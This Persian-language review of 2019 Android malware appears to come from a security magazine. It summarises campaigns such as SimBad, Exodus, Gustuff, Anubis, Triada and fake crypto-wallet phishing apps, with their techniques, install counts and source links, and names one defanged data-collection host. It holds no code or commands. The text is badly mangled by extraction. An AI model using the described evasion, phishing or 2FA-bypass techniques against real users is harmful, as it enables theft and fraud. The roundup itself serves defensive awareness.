ــه  ــران را ب ــینگ کارب ــام فیش ــا انج ــر ب ــورد نظ ــزار م ــه، بداف ــدن افزون ش
واردکــردن نــام و رمزعبــور حســاب گوگل‌شــان متقاعــد می‌کــرد. در 
حــال حاضــر هــر 4 اپلیکیشــن مــورد نظــر از گوگل‌پلــی حــذف شــده‌اند.

https://bit.ly/35AjH7X

https://bit.ly/34bWh8q

◀‌ گردآوری: آرام یوسفی
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https://bit.ly/35vBu00

ــی  ــروه امنیت ــط گ ــرب توس ــن مخ ــن اپلیکیش Operation Sheep: ای
Check Point کشــف شــد و بــدون رضایــت کاربــر، اطلاعــات مخاطبــان 
ــش از  ــزار در بی ــن بداف ــرد. ای ــرقت می‌ب ــه س ــدی را ب ــتگاه اندروی دس
ــار  ــن ب ــه اولی ــود ک ــدی جاســازی شــده ب ــف اندروی 12 اپلیکیشــن مختل

 Tencent ــه ــی از جمل ــث چین ــخص ثال ــدی ش ــای اندروی در مارکت‌ه
 Xiaomi App و   MyApp ، Wandoujia، Huawei App Store
ــار دانلــود شــدند.  Store قــرار داده شــد و جمعــاً بیــش از 111 میلیــون ب

ــف  ــی CheckPoint کش ــروه امنیت ــط گ ــزار توس ــن بداف SimBad: ای
شــد و تعــداد 206 اپلیکیشــن اندرویــدی را آلــوده کــرده بــود کــه 
ــن  ــد. ای ــده بودن ــود ش ــران دانل ــط کارب ــار توس ــون ب ــش از 150 میلی بی
بــرای  و  می‌کــرد  آلــوده  را  شبیه‌ســازی  بازی‌هــای  عمدتــاً  بدافــزار 

جلوگیــری از شناســایی شــدن، خــود را در ظاهــر تبلیغــات پنهــان 
ایــن بدافــزار عــاوه بــر تبلیغــات مخــرب، در اجــرای  از  می‌کــرد. 
حمــات فیشــینگ بــرای هدایــت کاربــران بــه ســایت‌های آلــوده 
می‌شــد. اســتفاده  هــم  دیگــر  مخــرب  اپلیکیشــن‌های  دانلــود  و 

 Apex Legends طرفــداران بازی محبــوب :Apex Legends Spyware
کــه می‌خواســتند ایــن بــازی را بــر روی دســتگاه موبایــل خــود اجــرا کننــد، 
مــورد هــدف کلاهبــرداران قــرار گرفتنــد و لینــک دانلــود اپلیکیشــن جعلــی 

اندرویــدی ایــن بــازی از تاریــخ 16 فوریــه بــر روی یوتیــوب قــرار گرفــت و 
بیــش از 600 هــزار بازدیــد داشــته اســت. طبــق گــزارش محققــان شــرکت 
ESET، ایــن اپلیکیشــن جعلــی طی 5 روز بیــش از 100 هزار بار دانلود شــد.

 UC ــدی ــوب اندروی ــی محب ــر چین UC Browser vulnerability: مرورگ
ــرای  ــرای اج ــه ب ــود ک ــی ب ــی بحران ــص داخل ــک نق Browser دارای ی
ــود.  ــپلویت ش ــان اکس ــط مهاجم ــت توس ــزاری می‌توانس ــات بداف حم
ــی شــرکت روســی Dr Web کشــف  ــان امنیت ــن نقــص توســط محقق ای

ــود  ــراه دانل ــای هم ــی را در تلفن‌ه ــر کدهای ــن مرورگ ــد. ای ــزارش ش و گ
ــه  ــص ب ــن نق ــد. ای ــی را دور می‌زن ــوگل پل ــرورهای گ ــه س ــد ک می‌کن
مهاجمــان اجــازه اجــرای کدهــای مخــرب و گســترش بدافزارهــای 
مختلــف و همچنیــن اجــرای حمــات MiTM از طریــق مرورگــر را مــی‌داد.

Adware in Gretel A7: ایــن بدافــزار بــا بررســی محققــان تیــم امنیتــی 
 Reddit و از روی گــزارش یــک کاربــر در SonicWall Capture Labs
ــد. اپلیکیشــن‌های از پیــش نصــب شــده در دســتگاه‌های  کشــف ش
system/priv-/ یــا  /system/app/ اندرویــدی، معمــولاً در پوشــه‌های
app/ هســتند و معمــولا بــه عنــوان اپلیکیشــن‌های سیســتمی شــناخته‌ 

نمی‌تواننــد  پوشــه‌ها  ایــن  در  موجــود  اپلیکیشــن‌های  می‌شــوند. 
ــی  ــه‌ها دسترس ــن پوش ــه ای ــا ب ــرا آن‌ه ــوند زی ــذف ش ــر ح ــط کارب توس
ندارنــد. بدافــزار از پیــش نصــب شــده در Gretel A7 نیــز در این پوشــه‌ها 
ــذف  ــرد و ح ــان می‌ک ــر پنه ــا را از کارب ــور آنه ــه حض ــت ک ــود داش وج
ــرد. ــوار می‌ک ــیار دش ــول را بس ــای معم ــتفاده از ابزاره ــا اس ــردن آن ب ک

Adware in beauty apps: ایــن تبلیغ‌افزارهــای اندرویــدی توســط 
شــرکت امنیتــی Avast در فروشــگاه گــوگل پلــی کشــف شــد و در 
تعــدادی از اپلیکیشــن‌های زیبایــی و ســلفی وجــود داشــت کــه از 
طــرف گوگل‌پلــی تاییــد شــده‌ بودنــد. در کل ســه اپلیکیشــن دارای 

 Pro Selfie Beauty Camera، Selfie نام‌هــای  بــا  تبلیغ‌افــزار 
Beauty Camera Pro و Pretty Beauty Camera کشــف شــد کــه 
ــود شــده  ــی دانل ــوگل پل ــار از گ ــل 500 هــزار ب ــدام از آن‌هــا حداق هــر ک
بــود. ایــن اپلیکیشــن‌ها در حــال حاضــر از گــوگل پلــی حــذف شــده‌اند.

Virus Shield: در آزمایــش AV-Comparatives از انتی‌ویروس‌هــای 
 Virus ــام ــه ن ــدی ب ــروس اندروی ــن انتی‌وی ــک اپلیکیش ــدی، ی اندروی
Shield کشــف شــد کــه ادعــا می‌کــرد کــه دســتگاه‌های موبایــل را بــرای 
ــچ کاری را انجــام نمــی‌داد. در  ــع هی ــد، امــا در واق ــزار اســکن می‌کن بداف
حقیقــت ایــن اپلیکیشــن یــک نــوار پیشــرفت ســاده را نشــان مــی‌داد کــه 

نشــان دهنــده پیشــرفت اســکن بــود و پــس از پایــان یافتــن نوار اســکن، 
عــدم وجــود اپلیکیشــن مخــرب نمایــش داده می‌شــد. ایــن اپلیکیشــن 
ــرای آن  ــر ب ــزاران کارب ــود و ه ــترس ب ــی در دس ــوگل پل ــگاه گ در فروش
پــول پرداخــت کردنــد. در نهایــت پــس از کشــف ایــن اپلیکیشــن، همــه 
ــد. ــده ش ــران بازگردان ــه کارب ــوگل ب ــط گ ــده توس ــت ش ــای پرداخ پول‌ه

Fake banking apps: این اپلیکیشــن جعلی، خود را به جای اپلیکیشــن 
بانکــی رســمی  Ziraat Bankası معرفــی کــرده بود و به دلیــل محدودیت 
دسترســی بــه اس ام اس در گــوگل پلــی، ایــن بدافــزار پیلودهــای اضافــی 

را از ســرور مهاجمــان دانلــود می‌کــرد کــه مانــع از دریافــت اس‌ام‌اس‌هــا 
می‌شــد. Ersin Çahmutoğlu ایــن بدافــزار را کشــف و گــزارش داد.

https://bit.ly/2rip4ts

https://bit.ly/2OIB7YY

https://bit.ly/2OCS07C

https://bit.ly/2XEIqVR

https://bit.ly/2pPpZkM

https://bit.ly/2QP18Zl

https://bit.ly/2rkWyay
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https://bit.ly/2DdRuHU

https://bit.ly/34gx3pw

https://bit.ly/33dk5Yf

https://bit.ly/2Dd3nxG

https://bit.ly/2QL2LHB

https://zd.net/2QHzSMt

https://bit.ly/2QKW5ZZ

ــا بیــش از 700 هــزار نصــب  Persistent malware: ســه اپلیکیشــن ب
از گــوگل کشــف شــد کــه از تکنیــک مانــدگاری جالبــی برخــوردار بودنــد. 
ــط  ــه توس ــن ک ــرض اپلیکیش ــون پیش‌ف ــی آیک ــار دادن طولان ــا فش ب
گــوگل پلــی ایجــاد شــده اســت گزینــه‌ای بــرای حــذف آن ایجــاد 

ــدازی  ــار راه‌ان ــن ب ــرای اولی ــه ایــن 3 اپلیکیشــن ب می‌شــود. هنگامــی ک
ــر  می‌شــدند، آیکــون پیش‌فــرض آن مخفــی می‌شــد و یــک نمــاد میانب
ــرد.  ــردن اپلیکیشــن ایجــاد می‌ک ــرای حــذف ک ــه‌ای ب ــدون گزین ــر ب دیگ
ــود. ــته ب ــات ناخواس ــش تبلیغ ــتر نمای ــن‌ها بیش ــن اپلیکیش ــدف ای ه

عنــوان  بــه  را  خــود   ،Xloader بدافــزار  قبلــی  نســخه   :Xloader
اپلیکیشــن‌های  دیگــر  و  کــروم  گــوگل  و  فیســبوک  اپلیکیشــن‌های 
ــن  ــن اپلیکیش ــود ای ــه دانل ــران را ب ــا کارب ــرد ت ــی می‌ک ــی معرف قانون
ــد  ــیوه جدی ــک ش ــان Trend Micro ی ــد. محقق ــب کن ــرب ترغی مخ
جــذب و فریــب کاربــران بــرای دانلــود ایــن اپلیکیشــن مخــرب را 

 ،)XLoader.6.0( ــزار ــن بداف ــد ای ــه در آن نســخه جدی ــد ک کشــف کردن
ــرد.  ــی می‌ک ــی معرف ــی جعل ــن امنیت ــک اپلیکیش ــای ی ــه ج ــود را ب خ
از جملــه IMSI ، ICCID، Android ID و  ایــن بدافــزار مشــخصاتی 
ــرد. ــال می‌ک ــان ارس ــرورهای مهاجم ــه س ــتگاه را ب ــریال دس ــماره س ش

Sauron Locker: ایــن باج‌افــزار در تاریــخ 15 آوریــل 2019 در قالــب یــک 
برنامــه رســمی اندرویــد منتشــر شــد. بــه محــض اینکــه ایــن باج‌افــزار 
وارد سیســتم می‌شــد، بلافاصلــه صفحــه نمایــش دســتگاه را قفــل 
ــذاری و  ــدی را رمزگ ــتگاه اندروی ــای دس ــزار فایل‌ه ــن باج‌اف ــد. ای می‌کن

بعــد تقاضــای اخــاذی می‌کــرد. ایــن باج‌افــزار بــرای هــر کشــور، مقــدار 
ــی  ــان آمریکای ــرای قربانی ــن ب ــی دارد و همچنی ــتی متفاوت ــاج درخواس ب
ــورها دارد.  ــایر کش ــه س ــبت ب ــتری نس ــی بیش ــاج خیل ــت ب درخواس

ــتر  ــه بیش ــری Donot ک ــروه هک ــط گ ــزار توس ــن بداف StealJob: ای
قــرار  هــدف  مــورد  را  پاکســتان  مثــل  آســیا  جنــوب  کشــورهای 
 Kashmir اپلیکیشــن  در  و  اســت  شــده  داده  توســعه  می‌دهــد، 

یــک  بــه  مربــوط  اپلیکیشــن  ایــن  اســت.  Voice کشــف شــده 
و  منتشــر  را  هنــد  ارتــش  خشــونت‌های  کــه  اســت  وب‌ســایت 
پخــش می‌کنــد و تاســیس آن در پاکســتان انجــام شــده اســت.

ــه  ــن تروجــان Android.InfectionAds ک DrWeb Infection Ads: ای
ــن آســیب‌پذیری  ــان Doctor Web کشــف شــد، از چندی توســط محقق
ــن‌های  ــذف اپلیکیش ــب و ح ــازی، نص ــرای آلوده‌س ــد ب ــی اندروی بحران
دیگــر بــه صــورت مســتقل از کاربــر بهره‌بــرداری می‌کــرد. هــدف 

ــود. ایــن تروجــان در  دیگــر ایــن تروجــان ایجــاد تبلیغــات ناخواســته ب
 Euro ،19_2018 HD Camera ، ORG ــد بازی‌هــا و اپلیکیشــن‌هایی مانن
Farming Simulator 2018 و Touch on Girls جاســاز شــده بــود.

Gustuff: ایــن تروجــان بانکــی اندرویــدی نزدیــک بــه یــک ســال قبل‌تــر 
ــد،  ــام می‌ش ــته انج ــانی‌های آن پیوس ــه به‌روزرس ــود ک ــده ب ــته ش نوش
ــن  ــروزه ای ــد. ام ــر می‌ش ــد و قدرتمندت ــه می‌ش ــای آن ‌اضاف قابلیت‌ه
 Anubis، بدافــزار هم‌ســطح تهدید‌هــای مشــابه ســطح بــالا ماننــد
Red Alert، Exobot، LokiBot، و BankBot قــرار گرفتــه اســت. طبــق 
ــل  ــی جع ــزار توانای ــن بداف ــی Group-IB، ای ــرکت امنیت ــی‌های ش بررس

ــن  ــش از 100 اپلیکیش ــی بی ــودکار بانک ــای خ ــا و تراکنش‌ه اعتبارنامه‌ه
بانکــی و 23 اپلیکیشــن مربــوط بــه ارزهــای مجــازی را دارد. ایــن تروجان 
همچنیــن توانایــی جعــل اعتبارنامه‌هــای اپلیکیشــن‌های اندرویــدی 
 PayPal، Western Union، eBay، پیام‌رســان و پرداختــی دیگــر ماننــد
دارد. نیــز  را   Walmart، Skype، WhatsApp، Gett Taxi، Revolut

 Security Without ــی ــان امنیت ــط محقق ــزار توس ــن بداف Exodus: ای
Borders کشــف شــد. ایــن بدافــزار درواقــع یــک جاســوس‌افزار 
ــود.  ــی Exodus One و Exodus Two ب ــاز اجرای ــا دو ف ــدی ب اندروی
ــف  ــی کش ــوگل پل ــر روی گ ــوس‌افزار ب ــن جاس ــددی از ای ــوارد متع م
ــراه  ــن هم ــای تلف ــن‌های اپراتوره ــای اپلیکیش ــه ج ــود را ب ــه خ ــد ک ش

عنــوان می‌کردنــد. بــا توجــه بــه آمــار عمومــی در دســترس و همچنیــن 
تاییــد شــده از گــوگل، بیشــتر ایــن اپلیکیشــن‌ها بارهــا توســط کاربــران 
ــید.  ــب رس ــار نص ــش از 350 ب ــه بی ــورد ب ــک م ــه در ی ــده ک ــب ش نص
ــد و درحــال  ــران ایتالیایــی بودن ــان ایــن جاســوس‌افزار کارب همــه قربانی
ــت. ــده اس ــذف ش ــی ح ــوگل پل ــه از گ ــن‌های مربوط ــر اپلیکیش حاض
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https://bit.ly/2OHQxfZ

https://bit.ly/2KJzj0P

https://bit.ly/2pQiw52

https://bit.ly/35AjSA9

https://bit.ly/2QLflXf

https://bit.ly/37vQQmR

https://bit.ly/35vi3o0

ــب  ــق SMS و WhatsApp و در قال ــزار از طری ــن بداف Jio Offers: ای
ــعه  ــتریان Jio توس ــرای مش ــط ب ــن 25GB Offer Free و فق اپلیکیش
ــای  ــب درآمده ــترش و کس ــزار، گس ــن بداف ــی ای ــدف اصل ــد. ه داده ش

ــرای  ــی را ب ــه اس‌ام‌اس‌های ــزار در پس‌زمین ــن بداف ــود. ای ــی ب تبلیغات
پیام‌هــا  ایــن  البتــه  می‌کــرد،  ارســال  آلــوده  دســتگاه  مخاطبــان 
Jio ارســال می‌شــد. فقــط بــه مخاطبــان دارای پیشــوند شــماره 

ــن  ــن در ای ــت بیت‌کوی ــش قیم ــا افزای Fake Trezor crypto apps: ب
مــاه، اپلیکیشــن‌های جعلــی اندرویــدی مربــوط بــه ارزهــای مجــازی در 
گــوگل پلــی افزایــش پیــدا ‌کــرد. ایــن اپلیکیشــن جعلــی در روز اول مــاه 
ــه جــای اپلیکیشــن رســمی  ــود شــد و خــود را ب ــی آپل مــی در گــوگل پل
ــرد.  ــی ک ــت، معرف ــر اس ــازی معتب ــول مج ــف پ ــک کی ــه ی Trezor ک
ظاهــر ایــن اپلیکیشــن جعلــی شــامل نــام توســعه‌دهنده، دســته بنــدی، 
ــی  ــخت جعل ــی س ــود و خیل ــی ب ــیار واقع ــای بس ــات و عکس‌ه توضیح
بــودن آن تشــخیص داده می‌شــد. آیکــون ایــن اپلیکیشــن بعــد از نصــب 

ــا آیکــون اپلیکیشــن واقعــی بــود و  شــدن تغییــر می‌کــرد و  متفــاوت ب
ــه  ــک صفح ــد، ی ــدازی می‌کردن ــن را راه‌ان ــران اپلیکیش ــه کارب ــی ک زمان
ــاره‌ای  ــچ اش ــه Trezor هی ــد و ب ــش داده می‌ش ــی نمای ــن عموم لاگی
ــن را  ــه لاگی ــوط ب ــات مرب ــه اطلاع ــران هرگون ــه کارب ــی ک ــد. وقت نمی‌ش
ــد.  ــال می‌ش ــان ارس ــرور مهاجم ــه س ــات ب ــن اطلاع ــد، ای وارد می‌کردن
به‌ایــن ترتیــب مهاجمــان بــا اســتفاده از ایــن صفحــه فیشــینگ، 
ــن  ــد. ای ــرقت می‌بردن ــه س ــازی را ب ــف مج ــای ورودی کی اعتبارنامه‌ه
ــد. ــزارش ش ــوگل گ ــه گ ــف و ب ــط Lukas Stefanko کش ــزار توس بداف

Adware TsSDK: بــا اســتفاده از پلت‌فــرم هوشــمند تهدیــدات امنیتــی 
ــزار  ــن دارای تبلیغ‌اف ــراه “apklab.io” از Avast، 50 اپلیکیش ــن هم تلف
در فروشــگاه گــوگل پلــی کشــف شــد. تعــداد نصــب ایــن اپلیکیشــن‌ها 

از 5 هــزار تــا 5 میلیــون بــار بــود. ایــن تبلیغ‌افزارهــا بــه یــک کتابخانــه 
شــخص ثالــث اندرویــدی متصــل بودنــد کــه محدودیت‌هــای ســرویس 
پس‌زمینــه موجــود در نســخه‌های جدیدتــر اندرویــد را دور مــی‌زد.

Preamo: محققــان امنیتــی CheckPoint، بــا کمــک کریــگ ســیلورمن 
ــه  ــه علی ــد ک ــه‌ای از اپلیکیشــن‌ها را کشــف کردن از BuzzFeed، مجموع
ــن  ــد. ای ــام می‌دادن ــی را انج ــی جعل ــی فعالیت‌های ــای تبلیغات آژانس‌ه
ــر  ــک ب ــا کلی ــران را ب ــدند، کارب ــده می‌ش ــه PreAMo نامی ــا ک بدافزاره

 Presage، ــوب ــی محب ــس تبلیغات ــه آژان ــی از س ــای جعل روی آگهی‌ه
Admob و Mopub فریــب می‌دادنــد. ایــن بدافزارهــا در مجمــوع بیــش 
از 90 میلیــون بــار و در 6 اپلیکیشــن دانلــود شــدند و گــوگل اعــام کــرد 
ــوده را از فروشــگاهش حــذف کــرده اســت. کــه ایــن اپلیکیشــن‌های آل

Anubis: ایــن تروجــان بانکــی اندرویــدی، از پلت‌فــرم رســانه‌های 
ــرداری  ــدی بهره‌ب ــرار دادن دســتگاه‌های اندروی ــرای هــدف ق اجتماعــی ب
می‌کــرد. در همیــن راســتا، ایــن بدافــزار شــروع بــه بهره‌بــرداری 
از ســرویس پیام‌هــای رمزنــگاری شــده تلگــرام کــرد. ایــن بدافــزار 
ــود  ــه داد و خ ــم ادام ــی ه ــوگل پل ــت گ ــود را در مارک ــای خ فعالیت‌ه

و  بازی‌هــا  ارزی،  مبدل‌هــای  مالیاتــی،  محاســبه‌گرهای  قالــب  در  را 
ــن‌ها  ــن اپلیکیش ــرد. ای ــی می‌ک ــر معرف ــردی دیگ ــن‌های کارب اپلیکیش
هیــچ کــد مخربــی در خــود نداشــتند ولــی بعــد از نصــب، پیلــود مخــرب 
ــه  ــد ک ــود می‌کردن ــت دانل ــت از اینترن ــک کامپونن ــب ی ــود را در قال خ
قــادر بــه ســرقت گذرواژه‌هــای بانکــی و ســایر اعتبارنامه‌هــا بــود.

ــه،  ــک حمل ــط در ی ــدی فق ــد اندروی ــان جدی ــن تروج MysteryBot: ای
و  کی‌لاگــر  باج‌افــزاری،  جملــه  از  مختلفــی  مخــرب  فعالیت‌هــای 
ــه  ــد ک ــاور بودن ــن ب ــر ای ــان ب ــی‌داد. محقق ــام م ــزاری را انج تبلیغ‌اف
MysteryBot یکــی از تروجان‌هــای بانکــی قدرتمنــد اســت کــه جانشــین 
 C&C ــن تروجان‌هــا دارای ســرور ــرا هــر دو ای LokiBot شــده اســت زی
ــنده  ــک نویس ــط ی ــر دو توس ــه ه ــی ک ــتند و از آنجای ــترکی ‌هس مش

 LokiBot نســل بعــدی MysteryBot نوشــته‌اند، پــس امــکان دارد کــه
باشــد. ایــن بدافــزار قــادر بــه انجــام فعالیت‌هــای مخــرب مختلــف ماننــد 
برقــراری تمــاس تلفنــی، ســرقت اطلاعــات مخاطــب، انتقــال تماس‌هــای 
دریافتــی بــه دســتگاه‌های دیگــر، تنظیــم کی‌لاگــر و رمزگــذاری فایل‌هــای 
ــود. ــاس در دســتگاه ب ــات تم ــام اطلاع ــدی و حــذف تم دســتگاه اندروی

امنیتــی  آزمایشــگاه  محققــان  توســط  بدافــزار  ایــن   :Vidmate
ــن  ــزارش ای ــق گ ــد. طب ــایی ش ــرکت Upstream شناس Secure-D از ش
آزمایشــگاه امنیتــی، اپلیکیشــن ویدئویــی محبــوب VidMate، بــا بیــش 
ــکوکی در  ــای مش ــاد فعالیت‌ه ــث ایج ــود، باع ــار دانل ــون ب از 500 میلی
ــان در  ــت پنه ــک کامپونن ــود. ی ــدی می‌ش ــتگاه اندروی ــه دس پس‌زمین
ــرد،  ــاد می‌ک ــی ایج ــات مخف ــه تبلیغ ــت ک ــود داش ــن وج ــن اپلیکیش ای

ــکوک را  ــن‌های مش ــر اپلیکیش ــی‌داد، دیگ ــه م ــی ارائ ــای جعل خریده
ــران  ــخصی کارب ــات ش ــرد و اطلاع ــب می‌ک ــر نص ــت کارب ــدون رضای ب
را جمــع‌آوری می‌کــرد. محققــان Secure-D، بیــش از 128 میلیــون 
تراکنــش مشــکوک مربــوط بــه VidMate را شناســایی و مســدود 
کردنــد. ایــن تراکنش‌هــا از نزدیــک بــه 5 میلیــون دســتگاه تلفــن 
ــود. ــده ب ــام ش ــف انج ــور مختل ــرد در 15 کش ــه ف ــر ب ــراه منحص هم

آوریل
April

می
May
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https://bit.ly/2QLZyax

 ،Doctor Web امنیتــی  کارشناســان   :Android.FakeApp.174

تروجانــی بــا نــام Android.FakeApp.174 را کشــف کردنــد کــه از 
ــرای بارگــذاری وب‌ســایت‌های مشــکوکی کــه اعلان‌هــای  گــوگل کــروم ب
ــن  ــرد. ای ــتفاده می‌ک ــی‌داد، اس ــنهاد م ــران پیش ــه کارب ــی را ب تبلیغات
ــن  ــدند. ای ــر می‌ش ــم ظاه ــود ه ــته ب ــر بس ــر مرورگ ــی اگ ــا حت اعلان‌ه
ــن  ــل اپلیکیش ــرد مث ــن‌های پرکارب ــش اپلیکیش ــت پوش ــان تح تروج

رســمی برندهــای معــروف، گســترش پیــدا می‌کــرد. در اوایــل ایــن مــاه، 
ــوع اصــاح شــده از ایــن تروجــان را در  کارشناســان Doctor Web دو ن
گــوگل پلــی کشــف کردنــد کــه پــس از گــزارش آن‌هــا بــه گــوگل، از ایــن 
ــا ایــن حــال قبــل از حــذف شــدن،  مارکــت اندرویــدی حــذف شــدند. ب
ــد. ــرده بودن ــود ک ــوده را دانل ــن آل ــن اپلیکیش ــر، ای ــش از 1100 کارب بی

ژوئن
June

https://bit.ly/2pKnC2y

https://bit.ly/2XJ5fb2

https://bit.ly/2OHQMaT

https://bit.ly/35vC6Tm

https://bit.ly/37y7K4l

Pink Camera: طبــق گزارش شــرکت امنیتی کسپرســکی، دو اپلیکیشــن 
Pink Camera و com.psbo.forand موجــود در گــوگل پلــی، در ظاهــر 
اپلیکیشــن‌هایی عــادی بــرای ویرایــش عکــس بودنــد امــا بعــد از نصــب، 
ــت  ــاً درخواس ــد. مث ــر می‌کردن ــکوکی از کارب ــای مش ــت مجوز‌ه درخواس
ــرای ایــن نــوع اپلیکیشــن‌ها  ــد کــه ب ــه وای‌فــای را می‌کردن دسترســی ب
ــت  ــن درخواس ــم، اپلیکیش ــرا ه ــن اج ــت. در حی ــادی اس ــیار غیرع بس

ــی  ــا جای ــت‌ها را ت ــن درخواس ــی‌داد و ای ــا را م ــه اعلان‌ه ــی ب دسترس
ادامــه مــی‌داد کــه کاربــر آن را قبــول کنــد. بعــد در حالــی کــه کاربــر بــا 
ــش  ــعی در ویرای ــگرها، س ــن ویرایش ــص ای ــای ناق ــتفاده از قابلیت‌ه اس
ــه  ــتگاه را در پس‌زمین ــات دس ــن اطلاع ــن اپلیکیش ــت، ای ــا داش عکس‌ه
ارســال می‌کــرد.  ps.okyesmobi[.]com بــه ســرور جمــع‌آوری  و 

 Amazing اپلیکیشــن  در  بدافــزار  ایــن   :Trojan downloader
Monster Car جاســاز شــده بــود و بــه محــض راه‌انــدازی شــدن، 
از  را  آیکــون خــود را پنهــان می‌کــرد، ســپس اپلیکیشــن دیگــری 
ــرد.  ــب آن می‌ک ــه نص ــد ب ــر را متقاع ــرده و کارب ــود ک ــق http دانل طری

بــه  را  دیگــری  اپلیکیشــن‌های  می‌توانســت  جدیــد  اپلیکیشــن 
عنــوان به‌روزرســانی اپلیکیشــن‌های دیگــر، بــر روی دســتگاه کاربــر 
ــد. ــش ده ــم نمای ــی را ه ــده و جعل ــات آزاردهن ــد و تبلیغ ــب کن نص

ــدف  ــد و ه ــف ش ــال 2016 کش ــار در س ــن ب ــزار اولی ــن بداف Triada: ای
ــرای  ــدی، ب ــتگاه اندروی ــر روی دس ــرب ب ــن‌های مخ ــب اپلیکیش آن نص
ــرای  ــزار، از آن ب ــن بداف ــازندگان ای ــود. س ــف ب ــات مختل ــش تبلیغ نمای
ــتفاده  ــن‌ها اس ــات در اپلیکیش ــش تبلیغ ــل از نمای ــد حاص ــب درآم کس
ــش  ــات را نمای ــه تبلیغ ــن‌هایی ک ــب اپلیکیش ــر نص ــاوه ب ــد. ع می‌کردن
می‌دهنــد، ایــن بدافــزار توانایــی تزریــق کــد در چهــار مرورگــر وب را هــم 

URL ــرای بازنویســی داشــتند. ایــن تزریــق کدهــا در مرورگرهــای وب، ب
ــدزا  ــات درآم ــا تبلیغ ــات وب‌ســایت‌ها ب ــض تبلیغ ــن تعوی ــا و همچنی ه
بــرای نویســندگان ایــن بدافــزار، مــورد اســتفاده قــرار می‌گرفــت.

Beita adwareplugin: ایــن بدافــزار کــه توســط Lookout شناســایی 
ــود کــه در  ــه خوبــی مبهم‌ســازی شــده ب شــد، یــک پلاگیــن تبلیغاتــی ب
ــود. ایــن  ــی پنهــان شــده ب ــوب گــوگل پل برخــی از اپلیکیشــن‌های محب
پلاگیــن، تبلیغــات زیــادی را بــر روی صفحــه قفــل کاربــر نمایش مــی‌داد و 
تبلیغــات ویدئویــی و صوتــی را حتــی در حالــی کــه تلفــن بــدون اســتفاده 
ــی‌داد  ــان م ــن را نش ــارج از اپلیکیش ــات خ ــان داده و تبلیغ ــود، نش ب
ــدی  ــتگاه اندروی ــن‌های دس ــایر اپلیکیش ــا س ــر ب ــل کارب ــع تعام ــه مان ک

ــه  ــر ب ــن منحص ــداد 238 اپلیکیش ــروس Lookout تع ــد. انتی‌وی می‌ش
ــرد.  ــف ک ــی کش ــوگل پل ــگاه گ ــامل BeiTaPlugin را در فروش ــرد ش ف
Lookout گــزارش عملکــرد مخــرب ایــن اپلیکیشــن‌ها را بــه گــوگل داد 
و ایــن پلاگیــن مخــرب از تمــام اپلیکیشــن‌های گــزارش شــده در گــوگل 
پلــی حــذف شــد. ایــن اپلیکیشــن‌های بــا پلاگیــن مخــرب، در کل بیــش 
از 440 میلیــون بــار توســط کاربــران گــوگل پلــی دانلــود و نصــب شــدند.

هنگامــی   ،ESET امنیتــی  گــزارش  طبــق   :2FA Bypass/Stealer
 Call Log و SMS ــتفاده از ــوز اس ــارس 2019 مج ــاه م ــوگل در م ــه گ ک
راهکارهــای  از  یکــی  کــرد،  اندرویــد محــدود  اپلیکیشــن‌های  در  را 
مثبتــی بــود کــه بــا اجــرای آن، اپلیکیشــن‌های ســارق مجــوز و 
اعتبارنامــه امــکان سوء‌اســتفاده از مجوزهــا بــرای دور زدن مکانیــزم 
تأییــد هویــت دو مرحلــه‌ای مبتنــی بــر SMS را از دســت دادنــد. 
را کشــف کردنــد  اپلیکیشــن‌های مخربــی  ایــن شــرکت  محققــان 
ــتن  ــدون داش ــوگل و ب ــر گ ــای اخی ــن محدودیت‌ه ــا دور زدن ای ــه ب ک

ــار  ــای یکب ــه عبوره ــه کلم ــی ب ــه دسترس ــادر ب ــای SMS لازم، ق مجوزه
 SMS ــر ــی ب ــه‌ای مبتن ــت دو مرحل ــد هوی ــا در تأیی ــا OTPه ــرف ی مص
بودنــد. ایــن اپلیکیشــن‌های جعلــی خــود را بــه جــای اپلیکیشــن 
معرفــی   Turkish cryptocurrency exchange BtcTurk رســمی 
ــمی،  ــرویس رس ــن س ــه ای ــن ب ــای لاگی ــرای اعتبارنامه‌ه ــد و ب می‌کردن
یــک صفحــه فیشــینگ را بــه نمایــش ‌‎می‌گذاشــتند و بعــد پیــام 
ــرقت  ــه س ــم ب ــه‌ای را ه ــت دو مرحل ــد هوی ــرای تایی ــی ب SMS دریافت
می‌بردنــد و بــه حســاب‌های کاربــران دسترســی پیــدا می‌کردنــد.
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https://bit.ly/2OE4VWT

https://bit.ly/2XIAv9Z

https://bit.ly/37vR1i1

https://bit.ly/34b45ax

https://bit.ly/2QIVoAe

https://bit.ly/34hMtJZ

https://bit.ly/37z8er1

AndroidOS_GolfSpy. ایــن بدافــزار بــا نــام اصلــی :Bouncing golf
HRX توســط محققــان Trend Micro شناســایی شــد. بدافــزار مدنظــر 
ــورهای  ــتر کش ــه بیش ــی Touncing Golf ک ــن جاسوس ــط کمپی توس
ــیعی از  ــف وس ــد و طی ــته ش ــی‌داد، نوش ــرار م ــدف ق ــه را ه خاورمیان

ــورد  ــرورهای C&C م ــد س ــا رص ــود. ب ــی را دارا ب ــای جاسوس قابلیت‌ه
اســتفاده توســط ایــن کمپیــن جاسوســی، بیــش از 660 دســتگاه 
اندرویــدی آلــوده بــه GolfSpy مشــاهده شــد و بیشــتر اطلاعــات 
ســرقت شــده از ایــن دســتگاه‌ها بیشــتر مربــوط بــه امــور نظامــی بــود.

ــران  ــط کارب ــدا فق ــی در ابت ــان بانک ــن تروج ــدف ای Riltok banker: ه
ــترش  ــم گس ــا ه ــات در اروپ ــداری اصلاح ــا مق ــداً ب ــود و بع ــی ب روس
ــن تروجــان در روســیه و 4% آن‌هــا  ــان ای ــه 90% قربانی یافــت. نزدیــک ب
ــورهای  ــایر کش ــس و س ــن، انگلی ــا، اوکرای ــه در ایتالی ــه و بقی در فرانس
ــارس 2018  ــار در م ــن ب ــزاری اولی ــواده بداف ــن خان ــد. ای ــی بودن اروپای
توســط محققــان کسپرســکی شناســایی شــد و هماننــد بســیاری از 

ــن‌های  ــی از اپلیکیش ــوان یک ــه عن ــود را ب ــر، خ ــی دیگ ــای بانک بدافزاره
تبلیغاتــی رایــگان در روســیه معرفــی کــرده بــود. کاربــر یــک پیــام کوتــاه 
حــاوی یــک لینــک مخــرب بــه یــک وب‌ســایت جعلــی، دریافــت می‌کــرد 
و وب‌ســایت جعلــی، یــک ســرویس آگهــی رایــگان محبــوب شبیه‌ســازی 
ــدی از  ــخه جدی ــب نس ــه نص ــویق ب ــر تش ــه در آن کارب ــود ک ــده ب ش
ــود. ــده ب ــاز ش ــان در آن جاس ــه تروج ــد ک ــی می‌ش ــن تبلیغات اپلیکیش

